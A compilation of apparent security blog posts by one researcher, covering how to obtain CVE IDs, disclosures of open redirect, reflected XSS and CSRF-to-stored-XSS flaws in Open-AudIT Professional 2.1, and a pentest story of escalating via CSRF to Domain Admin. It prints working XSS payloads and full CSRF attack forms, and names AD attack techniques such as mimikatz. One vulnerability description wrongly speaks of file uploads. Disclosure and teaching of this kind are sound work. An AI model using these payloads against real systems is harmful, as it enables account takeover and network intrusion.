CVE ID Process and My First CVE ID Story

Hi All,

Till today I have seen many posts in which researchers posted that they got CVE by finding bug in `xyz` product etc. I always wonder "WOW" CVE but how shall I get one ? What is the process ? Will I able to find ? and many more questions in my head.

In this article I will list down how easy it is to get CVE ID for you and the confusion which I had and many security researchers out there have. I am writing this blog post just to guide those who still wonder what is CVE ID and how an security engineer can get it. It's just a method if you know how it works. Cheers you can get it.

Before we start, first let us understand the main difference between CVE and CWE

MITRE is a government-funded organization that puts out standards to be used by the information security community. Two of the most popular of these are CWE and CVE, and they’re often confused by security practitioners.

1. CWE stands for Common Weakness Enumeration, and has to do with the vulnerability—not the instance within a product or system.
2. CVE stands for Common Vulnerability Exposure, and has to do with the specific instance within a product or system—not the underlying flaw.

It is always easy to get the CVE. 

But how ?

1x1  Find Any Product to Test 

First you need to find any Product OR Open source tool. Say for example wamp server. (Install it in your local machine and try to find normal bugs which we find in Web application testing) 

Once found check if that bug is reported in your tested product.

Hey, but how shall I search whether I found bug reported or not?
[A simple Google Search can give this answer] 

If it is not reported by anyone then "Hurry" you got the CVE. 

But how actually I can claim ? 

1x2  Submission Process to cve.mitre.org

1 - Go to  https://cve.mitre.org/cve/request_id.html

2 - Scroll down and go to  

3 - Fill the form 

4 - Within 24 hours you will get a CVE ID allocated sent to you over email.

5 - After getting the CVE ID allocated, you will notice that the status of your CVE ID will be "Reserved". To make public you need to send vulnerability details via your blog post on the same email. i.e. just reply to that same mail, with your blog link for the exploit. It will be opened and made pubic.

6 - Now you can view your CVE in cve.mitre.org site

Next step is to submit the same in Exploit DB. 

1x3  Exploit DB Submission format

Go to https://www.exploit-db.com/submit/ 

Follow the instruction and send email to s​ubmit@offsec.com

The final outcome will look like this :- 

https://www.exploit-db.com/author/?a=9388

Below is the CVE ID allocated to me

• CVE-2018-8903 - Stored XSS 
• CVE-2018-8979 - Cross-Site Request Forgery (CSRF) 

POC:- https://nileshsapariya.blogspot.com/2018/03/csrf-to-xss-open-auditit-professional-21.html

• CVE-2018-8937 - Open Redirect 
• CVE-2018-8978 - Reflected XSS

POC:- https://nileshsapariya.blogspot.com/2018/03/open-redirect-to-reflected-xss-open.html

After all this I reported the same vulnerabilities to the product team of Open-AuditIT Professional

I just want to appreciate Open Audit team's efforts to take this issue seriously and fixing the bug promptly and Launching open-audit new version v2.2.0 .

Big kudos to Open-AuditIT Professional Team (y)

Conclusion :- 

I had always wondered about the process to get CVE ID but it's always bit confusing to me so just wrote this blog to help every security geek.

Special thanks to @Samrat Das for his guidance on the same.  

Information Security Domain is all about sharing your knowledge with everyone. Keeping that in mind, I hope now even you can find the CVE ID. Cheers (y) 

Open Redirect to Reflected XSS - Open-AuditIT Professional 2.1

Hi All,

Recently in one of my pentest research, I found a Open-AuditIT Professional 2.1.

Open-AudIT is a network auditing application. It is based on the scripting languages of PHP, Bash and VBScript. Open-AudIT can tell what is on your network, how it is configured and if there have been any changes

Curious to explore its functionalities, I downloaded and set it up in my local system.

After installing first thing I noticed was `redirect_url=`

For me its cup of tea to get open URL Redirect.

• Title of the Vulnerability:  Open URL Redirect and Reflected Cross-site Scripting (XSS) 
• Vulnerability Class: Security Misconfiguration and Cross-site Scripting (XSS)
• Technical Details & Description: The application source code is coded in a way which allows arbitrary web application to accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
• CVE ID allocated:   

1. Open Redirect :-  CVE-2018-8937
2. Reflected XSS :- CVE-2018-8978

• Product & Service Introduction: Open-AuditIT Professional 2.1

POC :- 

Vulnerable URL :- 

http://localhost/omk/open-audit/login?redirect_url=http://www.nileshsapariya.blogspot.com

Lets move ahead one more step

Now in most of the case when you find the Open URL Redirection then chances to have XSS is almost 99%

1st Try for Reflected XSS 

1]
<script>alert('BOOM')</script>
Base 64 Encode
PHNjcmlwdD5hbGVydCgnQk9PTScpPC9zY3JpcHQ+

2]
data:text/html;base64,PHNjcmlwdD5hbGVydCgnQk9PTScpPC9zY3JpcHQ+

3]
URL Encode

%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%67%6e%51%6b%39%50%54%53%63%70%50%43%39%7a%59%33%4a%70%63%48%51%2b

But hey this is not XSS

2nd Try for Reflected XSS 

XSS via a crafted src attribute of an IMG element within a URI.


Vulnerable URL :-
http://localhost/omk/open-audit/y3ipe%3cimg%20src%3da%20onerror%3dalert('hacked')%3ek87ss

Video POC for Reflected XSS




How this worked :-

CSRF to XSS - Open-AuditIT Professional 2.1

Hi All,

Recently in one of my pentest research, I found a Open-AuditIT Professional 2.1.

Open-AudIT is a network auditing application. It is based on the scripting languages of PHP, Bash and VBScript. Open-AudIT can tell what is on your network, how it is configured and if there have been any changes

Curious to explore its functionalities, I downloaded and set it up in my local system.

After fiddling with the source code, I found that it did not have any kind of CSRF protection neither Cross site scripting(XSS) Protection and allowed the user to insert any malicious inputs. So I thought to chain this both vulnerability together. i.e. CSRF to XSS.

• Title of the Vulnerability:  CSRF to XSS
• Vulnerability Class: XSS and CSRF 
• Technical Details & Description: The application source code is coded in a way which allows arbitrary file extensions to be uploaded. This leads to uploading of remote shells/ malicious Trojans which can lead to complete system compromise and server takeover.
• CVE ID allocated:  

1. CVE-2018-8903 - Stored XSS 
2. CVE-2018-8979 - Cross-Site Request Forgery (CSRF) 

• Product & Service Introduction: Open-AuditIT Professional 2.1

Observation:- [ CSRF to XSS]

When you login into Open-AuditIT Professional 2.1 and Create Credentials [Go to Home ==> Credentials ] you will notice that there is no protection against CSRF.

Digging more deep in source code, I also noticed that they do not have any protection against XSS for Name and Description parameter.




So Next Step was chaining this both bug together .

Step 1 :- Craft a HTML Page with XSS payload in it. 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/omk/open-audit/credentials" method="POST"> <input type="hidden" name="data&#91;attributes&#93;&#91;name&#93;" value="<img src=x onerror=alert('hacked');>" /> <input type="hidden" name="data&#91;attributes&#93;&#91;org&#95;id&#93;" value="1" /> <input type="hidden" name="data&#91;attributes&#93;&#91;description&#93;" value="CSRF" /> <input type="hidden" name="data&#91;attributes&#93;&#91;type&#93;" value="ssh" /> <input type="hidden" name="data&#91;attributes&#93;&#91;credentials&#93;&#91;username&#93;" value="test" /> <input type="hidden" name="data&#91;attributes&#93;&#91;credentials&#93;&#91;password&#93;" value="test" /> <input type="hidden" name="data&#91;type&#93;" value="credentials" /> <input type="hidden" name="submit" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Step 2:- Save this .html file and send it to victim (Victim  should be loggedin in the browser)

Under Credentials New Entry will be added with your XSS payload. 

When any user will visit this page XSS will be triggered :-
http://localhost/omk/open-audit/credentials

Video POC  for CSRF to XSS :-  

Conclusion :- 

The main aim of this article is to show that POST based XSS should not be ignored as hard to exploit, but I also hope that it helps to give you ideas of how combining attacks can make them much more potent. 

Compromising Domain Admin via Web Application

TL;DR :  You can be a domain admin if you are doing internal pentesting of web application. Give that application has feature to connect internal network.

There are always new challenges when you get an opportunity to prove yourself (NEW JOB :P).
Just like that for me, only thing to prove myself is to take the "Domain Admin" .

In Pentesting world if you are gaining "Domain Admin" rights that means you own the universe. Only Pentersters can feel this :P

For others below is the reason for this feeling :-

• Domain Admins is the AD group that most people think of when discussing Active Directory administration. This group has full admin rights by default on all domain-joined servers and workstations, Domain Controllers, and Active Directory. 
• A Domain Administrator is a domain account that has administrative access to all machines in the domain, clients as well as servers.
• In short  Members of this group have full control of the domain.

My new assignment was pentesting Internal web application. And for me challenge was Web application to domain admin ?  but how ?

NOTE :- Different modes of being domain admins are :- [Considering the fact that you are doing Internal Pentesting Assessment - Network]

Attack Techniques to go from Domain User to Domain Admin:
1. Passwords in SYSVOL & Group Policy Preferences
2. Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch
3. Dumping NTLM hash via mimikatz

And many more .....

BUT via web application shall we become Domain Admin ?  Hence thought to share this finding with you all. 

STORY :- 

Recently we have been on Internal Web Application Pentesting with goals of finding juicy bugs.
For me target was domain admin.

This application has different roles i.e. Normal user and Admin user with WAF  welcoming in front of the door. When trying every single payload, WAF comes into the picture.

We successfully bypassed the WAF and got the alert(1) popup. (Not for this blog post)

Still my target was domain admin.

1x1 CSRF the Game Changer

I noticed that application does not have any protection in placed against CSRF.
Next what, I was able to escalate my normal user account privileged to admin user account.

<html>
  <body>
    <form action="http://test:portnumber/Something.do" method="POST">
      <input type="hidden" name="NoramUserID" value="" />
      <input type="hidden" name="group" value="12121" />
      <input type="hidden" name="category" value="" />
      <input type="hidden" name="subCategory" value="" />
      <input type="hidden" name="item" value="1346" />
      <input type="hidden" name="emailCC" value="" />
      <input type="hidden" name="urgency" value="3" />
      <input type="hidden" name="reqID" value="44444" />
      <input type="hidden" name="reqName" value="user1" />
      <input type="hidden" name="selectedCIs" value="" />
      <input type="hidden" name="siteID" value="2222" />
      <input type="hidden" name="resourcesInfo" value="" />
      <input type="hidden" name="resourceModified" value="false" />
      <input type="hidden" name="addWO" value="addWO" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

I am admin now.  XD

Lets understand the roles given to admin :-

1. Access all the assets handled by the IT Team. 
2. Access Virtual Hosts and VMs
3. Access Credentials Library which has the admin account username and password which is been used to scan the different machine inside the network. 

The password was hidden and I was not able to view, neither inspect element trick worked here. 

No worries I changed the password :P 

Point 3 looks interesting. Being admin if I can scan any network devices(Desktop/Server) then shall I takes its access ?  RDP ? Answer is YES.

2x2 Recon the Checkmate 

From the list of inventory assets I randomly started poking different IP address to see its privileged.  I  found one and I was able to RDP the remote desktop machine. I used the same credentials which is being used to scan the internal machine. 

And found the Domain Admin account.  

Mission Accomplished ...XD

PS :- Wrote this blog post just to share,  you can become a domain admin via Web application assessment.

Happy Hunting.